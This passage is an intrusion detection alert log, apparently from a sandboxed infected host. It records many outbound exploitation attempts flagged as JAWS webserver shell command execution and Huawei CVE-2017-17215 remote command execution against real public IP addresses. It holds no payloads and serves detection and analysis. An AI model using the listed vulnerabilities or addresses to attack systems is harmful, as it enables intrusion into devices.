Timestamp:	192.168.2.23104.100.1.2934972802030092 03/05/23-19:06:00.464184
SID:	2030092
Source Port:	34972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.129.232.182

Timestamp:	192.168.2.23212.129.232.18255960802030092 03/05/23-19:06:22.830550
SID:	2030092
Source Port:	55960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.197.175.183

Timestamp:	192.168.2.2323.197.175.18356926802030092 03/05/23-19:06:26.546033
SID:	2030092
Source Port:	56926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.220.3.130

Timestamp:	192.168.2.2341.220.3.13049556802030092 03/05/23-19:06:29.385838
SID:	2030092
Source Port:	49556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.73.1.190

Timestamp:	192.168.2.2323.73.1.19058850802030092 03/05/23-19:06:29.236839
SID:	2030092
Source Port:	58850
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.31.101

Timestamp:	192.168.2.23156.230.31.10140870372152835222 03/05/23-19:06:49.424496
SID:	2835222
Source Port:	40870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.160.223.228

Timestamp:	192.168.2.23156.160.223.22846458372152835222 03/05/23-19:05:58.762111
SID:	2835222
Source Port:	46458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.68.186.110

Timestamp:	192.168.2.23138.68.186.11037480802030092 03/05/23-19:06:17.331581
SID:	2030092
Source Port:	37480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.24.215.249

Timestamp:	192.168.2.2337.24.215.24938042802030092 03/05/23-19:06:35.312665
SID:	2030092
Source Port:	38042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.232.239.105

Timestamp:	192.168.2.23173.232.239.10546706802030092 03/05/23-19:07:13.370141
SID:	2030092
Source Port:	46706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.235.118.217

Timestamp:	192.168.2.2320.235.118.21755934802030092 03/05/23-19:05:24.813479
SID:	2030092
Source Port:	55934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.168.143

Timestamp:	192.168.2.2341.153.168.14336188372152835222 03/05/23-19:06:00.093121
SID:	2835222
Source Port:	36188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.57.177

Timestamp:	192.168.2.2341.153.57.17759656372152835222 03/05/23-19:06:14.836296
SID:	2835222
Source Port:	59656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.105.29.159

Timestamp:	192.168.2.23172.105.29.15948000802030092 03/05/23-19:05:57.761833
SID:	2030092
Source Port:	48000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.21.59

Timestamp:	192.168.2.2323.192.21.5939688802030092 03/05/23-19:06:38.892627
SID:	2030092
Source Port:	39688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.154.159.211

Timestamp:	192.168.2.23107.154.159.21158582802030092 03/05/23-19:06:06.837247
SID:	2030092
Source Port:	58582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.229.179.64

Timestamp:	192.168.2.2318.229.179.6435902802030092 03/05/23-19:06:23.101830
SID:	2030092
Source Port:	35902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.132.19

Timestamp:	192.168.2.23197.197.132.1954696372152835222 03/05/23-19:06:07.764107
SID:	2835222
Source Port:	54696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.164.28.61

Timestamp:	192.168.2.2318.164.28.6141986802030092 03/05/23-19:06:26.896982
SID:	2030092
Source Port:	41986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.128.229.53

Timestamp:	192.168.2.23101.128.229.5338070802030092 03/05/23-19:06:05.003315
SID:	2030092
Source Port:	38070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.159.108.8

Timestamp:	192.168.2.2362.159.108.844684802030092 03/05/23-19:05:30.803822
SID:	2030092
Source Port:	44684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.59.90.94

Timestamp:	192.168.2.23146.59.90.9452530802030092 03/05/23-19:06:04.735823
SID:	2030092
Source Port:	52530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.214.170.107

Timestamp:	192.168.2.23150.214.170.10754924802030092 03/05/23-19:05:24.722495
SID:	2030092
Source Port:	54924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.51.1

Timestamp:	192.168.2.23156.162.51.135738372152835222 03/05/23-19:06:27.508164
SID:	2835222
Source Port:	35738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.112.101.252

Timestamp:	192.168.2.2362.112.101.25235498802030092 03/05/23-19:07:21.883570
SID:	2030092
Source Port:	35498
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.185.232.244

Timestamp:	192.168.2.2354.185.232.24460884802030092 03/05/23-19:07:03.439804
SID:	2030092
Source Port:	60884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.193.156.220

Timestamp:	192.168.2.23107.193.156.22038402802030092 03/05/23-19:06:09.956678
SID:	2030092
Source Port:	38402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.207.12.61

Timestamp:	192.168.2.2323.207.12.6152760802030092 03/05/23-19:05:47.128092
SID:	2030092
Source Port:	52760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.153.123.150

Timestamp:	192.168.2.23186.153.123.15040450802030092 03/05/23-19:05:34.264235
SID:	2030092
Source Port:	40450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.99.122.52

Timestamp:	192.168.2.2347.99.122.5236764802030092 03/05/23-19:06:12.212389
SID:	2030092
Source Port:	36764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.96.42.134

Timestamp:	192.168.2.23104.96.42.13449080802030092 03/05/23-19:06:46.410752
SID:	2030092
Source Port:	49080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.222.51.72

Timestamp:	192.168.2.2318.222.51.7258770802030092 03/05/23-19:05:55.104846
SID:	2030092
Source Port:	58770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.8.159.105

Timestamp:	192.168.2.23119.8.159.10538676802030092 03/05/23-19:07:13.438275
SID:	2030092
Source Port:	38676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 166.88.237.217

Timestamp:	192.168.2.23166.88.237.21738472802030092 03/05/23-19:07:04.005913
SID:	2030092
Source Port:	38472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.254.16.186

Timestamp:	192.168.2.2387.254.16.18654756802030092 03/05/23-19:05:57.676566
SID:	2030092
Source Port:	54756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.215.24.246

Timestamp:	192.168.2.2313.215.24.24649058802030092 03/05/23-19:06:35.621730
SID:	2030092
Source Port:	49058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.222.188.165

Timestamp:	192.168.2.23173.222.188.16556936802030092 03/05/23-19:06:20.132471
SID:	2030092
Source Port:	56936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.78.3.97

Timestamp:	192.168.2.23112.78.3.9752472802030092 03/05/23-19:06:05.414119
SID:	2030092
Source Port:	52472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.58.249.236

Timestamp:	192.168.2.2323.58.249.23637796802030092 03/05/23-19:06:43.845555
SID:	2030092
Source Port:	37796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.8.47

Timestamp:	192.168.2.23156.224.8.4742994372152835222 03/05/23-19:05:44.412646
SID:	2835222
Source Port:	42994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.92.131

Timestamp:	192.168.2.23156.163.92.13143056372152835222 03/05/23-19:05:44.904130
SID:	2835222
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.102.109.166

Timestamp:	192.168.2.23104.102.109.16647794802030092 03/05/23-19:05:24.871544
SID:	2030092
Source Port:	47794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.211.244.252

Timestamp:	192.168.2.2390.211.244.25237258802030092 03/05/23-19:05:45.003131
SID:	2030092
Source Port:	37258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.216.179.203

Timestamp:	192.168.2.2318.216.179.20356828802030092 03/05/23-19:06:38.948941
SID:	2030092
Source Port:	56828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.22.139.252

Timestamp:	192.168.2.2346.22.139.25257414802030092 03/05/23-19:05:50.960069
SID:	2030092
Source Port:	57414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.223.116.202

Timestamp:	192.168.2.23173.223.116.20240938802030092 03/05/23-19:07:00.783813
SID:	2030092
Source Port:	40938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.208.92.250

Timestamp:	192.168.2.2374.208.92.25037622802030092 03/05/23-19:05:24.800001
SID:	2030092
Source Port:	37622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.38.147.144

Timestamp:	192.168.2.2345.38.147.14445818802030092 03/05/23-19:05:39.785589
SID:	2030092
Source Port:	45818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.28.207.177

Timestamp:	192.168.2.2381.28.207.17734766802030092 03/05/23-19:06:55.711792
SID:	2030092
Source Port:	34766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.170.39.105

Timestamp:	192.168.2.23178.170.39.10544116802030092 03/05/23-19:06:01.971276
SID:	2030092
Source Port:	44116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.89.175.254

Timestamp:	192.168.2.23104.89.175.25438630802030092 03/05/23-19:06:00.479641
SID:	2030092
Source Port:	38630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.23.77

Timestamp:	192.168.2.23156.230.23.7741050372152835222 03/05/23-19:06:17.857544
SID:	2835222
Source Port:	41050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.160.192.179

Timestamp:	192.168.2.23156.160.192.17935484372152835222 03/05/23-19:05:44.264635
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.113.4.86

Timestamp:	192.168.2.23104.113.4.8657900802030092 03/05/23-19:06:09.477758
SID:	2030092
Source Port:	57900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.134.197.33

Timestamp:	192.168.2.2339.134.197.3338456802030092 03/05/23-19:06:41.310199
SID:	2030092
Source Port:	38456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 165.22.23.242

Timestamp:	192.168.2.23165.22.23.24239430802030092 03/05/23-19:06:46.481697
SID:	2030092
Source Port:	39430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.232.186.49

Timestamp:	192.168.2.23124.232.186.4951354802030092 03/05/23-19:07:12.906471
SID:	2030092
Source Port:	51354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.94.181.7

Timestamp:	192.168.2.23141.94.181.754016802030092 03/05/23-19:05:36.638180
SID:	2030092
Source Port:	54016
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.149.45.105

Timestamp:	192.168.2.23107.149.45.10558578802030092 03/05/23-19:06:04.836581
SID:	2030092
Source Port:	58578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.87.217.19

Timestamp:	192.168.2.23172.87.217.1952068802030092 03/05/23-19:05:27.447957
SID:	2030092
Source Port:	52068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.9.36.49

Timestamp:	192.168.2.238.9.36.4953682802030092 03/05/23-19:05:39.545190
SID:	2030092
Source Port:	53682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.24.61.205

Timestamp:	192.168.2.23124.24.61.20556288802030092 03/05/23-19:05:34.265487
SID:	2030092
Source Port:	56288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.137.20.25

Timestamp:	192.168.2.2352.137.20.2556604802030092 03/05/23-19:05:29.706895
SID:	2030092
Source Port:	56604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.67.237.102

Timestamp:	192.168.2.2352.67.237.10234188802030092 03/05/23-19:06:48.543057
SID:	2030092
Source Port:	34188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.237.46

Timestamp:	192.168.2.23156.163.237.4660290372152835222 03/05/23-19:07:25.533548
SID:	2835222
Source Port:	60290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.80.115

Timestamp:	192.168.2.23156.163.80.11547476372152835222 03/05/23-19:06:59.509109
SID:	2835222
Source Port:	47476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.130.230

Timestamp:	192.168.2.23156.241.130.23043780372152835222 03/05/23-19:06:17.524814
SID:	2835222
Source Port:	43780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.148.115.85

Timestamp:	192.168.2.23146.148.115.8542166802030092 03/05/23-19:05:39.511284
SID:	2030092
Source Port:	42166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.70.102.171

Timestamp:	192.168.2.23193.70.102.17160276802030092 03/05/23-19:06:22.602169
SID:	2030092
Source Port:	60276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.100.233.208

Timestamp:	192.168.2.23157.100.233.20853788802030092 03/05/23-19:06:59.098597
SID:	2030092
Source Port:	53788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.96.150.71

Timestamp:	192.168.2.23191.96.150.7134826802030092 03/05/23-19:06:14.856175
SID:	2030092
Source Port:	34826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.244.214.64

Timestamp:	192.168.2.23198.244.214.6451538802030092 03/05/23-19:06:40.771114
SID:	2030092
Source Port:	51538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.26.94.60

Timestamp:	192.168.2.2391.26.94.6033688802030092 03/05/23-19:06:46.410677
SID:	2030092
Source Port:	33688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.66.59

Timestamp:	192.168.2.23197.195.66.5945308372152835222 03/05/23-19:07:14.254408
SID:	2835222
Source Port:	45308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.11.198.93

Timestamp:	192.168.2.2323.11.198.9337874802030092 03/05/23-19:06:00.427813
SID:	2030092
Source Port:	37874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.24.214

Timestamp:	192.168.2.23156.198.24.21440060372152835222 03/05/23-19:06:45.393270
SID:	2835222
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.251.155.192

Timestamp:	192.168.2.2366.251.155.19244736802030092 03/05/23-19:06:33.004777
SID:	2030092
Source Port:	44736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.192.181.27

Timestamp:	192.168.2.23130.192.181.2744026802030092 03/05/23-19:05:54.804603
SID:	2030092
Source Port:	44026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.173.111.52

Timestamp:	192.168.2.23217.173.111.5233500802030092 03/05/23-19:07:11.743142
SID:	2030092
Source Port:	33500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.68.170.86

Timestamp:	192.168.2.2396.68.170.8653780802030092 03/05/23-19:06:39.147010
SID:	2030092
Source Port:	53780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.42.96.230

Timestamp:	192.168.2.2366.42.96.23053210802030092 03/05/23-19:06:39.109764
SID:	2030092
Source Port:	53210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.88.11.56

Timestamp:	192.168.2.23167.88.11.5644436802030092 03/05/23-19:06:53.521069
SID:	2030092
Source Port:	44436
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.106.10.206

Timestamp:	192.168.2.2347.106.10.20656072802030092 03/05/23-19:07:11.803754
SID:	2030092
Source Port:	56072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.151.238.40

Timestamp:	192.168.2.2354.151.238.4052394802030092 03/05/23-19:05:39.649400
SID:	2030092
Source Port:	52394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 36.104.139.225

Timestamp:	192.168.2.2336.104.139.22545218802030092 03/05/23-19:06:04.951486
SID:	2030092
Source Port:	45218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.223.162.81

Timestamp:	192.168.2.2323.223.162.8159042802030092 03/05/23-19:05:47.180766
SID:	2030092
Source Port:	59042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.90.40.95

Timestamp:	192.168.2.2381.90.40.9553770802030092 03/05/23-19:05:52.664990
SID:	2030092
Source Port:	53770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.120.23.157

Timestamp:	192.168.2.23200.120.23.15746700802030092 03/05/23-19:07:12.126859
SID:	2030092
Source Port:	46700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.122.99.182

Timestamp:	192.168.2.23138.122.99.18237418802030092 03/05/23-19:05:45.500488
SID:	2030092
Source Port:	37418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.193.178.222

Timestamp:	192.168.2.2352.193.178.22248608802030092 03/05/23-19:06:54.215695
SID:	2030092
Source Port:	48608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.219.85.151

Timestamp:	192.168.2.2323.219.85.15151552802030092 03/05/23-19:06:58.840299
SID:	2030092
Source Port:	51552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.18.216.164

Timestamp:	192.168.2.2350.18.216.16438386802030092 03/05/23-19:06:18.041481
SID:	2030092
Source Port:	38386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.215.222.85

Timestamp:	192.168.2.23180.215.222.8554456802030092 03/05/23-19:07:05.644847
SID:	2030092
Source Port:	54456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.174.253.34

Timestamp:	192.168.2.23212.174.253.3456078802030092 03/05/23-19:06:35.337925
SID:	2030092
Source Port:	56078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.173.112.12

Timestamp:	192.168.2.2314.173.112.1234914802030092 03/05/23-19:07:24.522336
SID:	2030092
Source Port:	34914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.140.65.198

Timestamp:	192.168.2.23190.140.65.19837470802030092 03/05/23-19:06:05.063234
SID:	2030092
Source Port:	37470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.235.96.83

Timestamp:	192.168.2.2318.235.96.8359546802030092 03/05/23-19:06:43.951367
SID:	2030092
Source Port:	59546
Destination Port:	80
Protocol:	TCP
